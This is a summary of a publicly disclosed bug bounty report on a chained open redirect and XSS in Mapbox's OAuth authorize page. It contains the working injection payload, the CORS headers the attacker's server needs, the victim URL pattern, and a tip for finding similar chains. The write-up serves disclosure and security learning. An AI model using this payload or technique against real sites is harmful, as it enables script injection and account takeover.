# XSS on www.mapbox.com/authorize/ because of open redirect at /core/oauth/auth

Open redirect in Mapbox /core/oauth/auth let attacker-controlled JSON feed an unescaped authorize_url into the OAuth modal template, yielding XSS on www.mapbox.com.

- Payout: hidden
- Severity: high
- Program: Mapbox
- Found by: stefanovettorazzi
- Disclosed: 2017-08-14
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/143240
- Library page: https://bugbountylibrary.com/r/h1%3A143240
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:high tech:oauth technique:chained vuln:open-redirect vuln:xss

**Target:** www.mapbox.com /authorize/ OAuth modal template
**Root cause:** The /core/oauth/auth endpoint 302-redirects to any redirect_uri, and the resulting JSON's authorize_url is interpolated unescaped into the template-modal-oauth form action attribute.
**Steps:**
1. Host a JSON file over HTTPS returning `{"authorize_url": "'><script>alert(document.domain);</script>", "stage": "authorize", "user": {"name": "nombre", "extraTm2z": 1}, "origin": ""}` with `Access-Control-Allow-Origin: https://www.mapbox.com`, `Access-Control-Allow-Credentials: true`, `Access-Control-Allow-Headers: x-requested-with`.
2. Visit `https://www.mapbox.com/authorize/?redirect_uri=<attacker_json_url>`.
3. The page fetches /core/oauth/auth which 302-redirects to the attacker JSON; the response is used to render template-modal-oauth.
4. The unescaped authorize_url breaks out of the form action attribute and executes the script.
**How found:** Noticed /authorize/ proxies to /core/oauth/auth and that redirect_uri alone causes a 302 to arbitrary URLs; realized the redirected JSON is consumed by the modal template and checked whether authorize_url was escaped.
**Exploitation:** Attacker hosts a CORS-enabled JSON endpoint, then lures a victim to the /authorize/ URL with redirect_uri pointing at it; the fetched JSON's authorize_url injects script into the modal, executing in www.mapbox.com origin.
**Insight:** OAuth authorize pages that fetch JSON via a redirect_uri parameter are a chain target: test whether the redirect is open and whether the fetched JSON fields land in HTML attributes unescaped.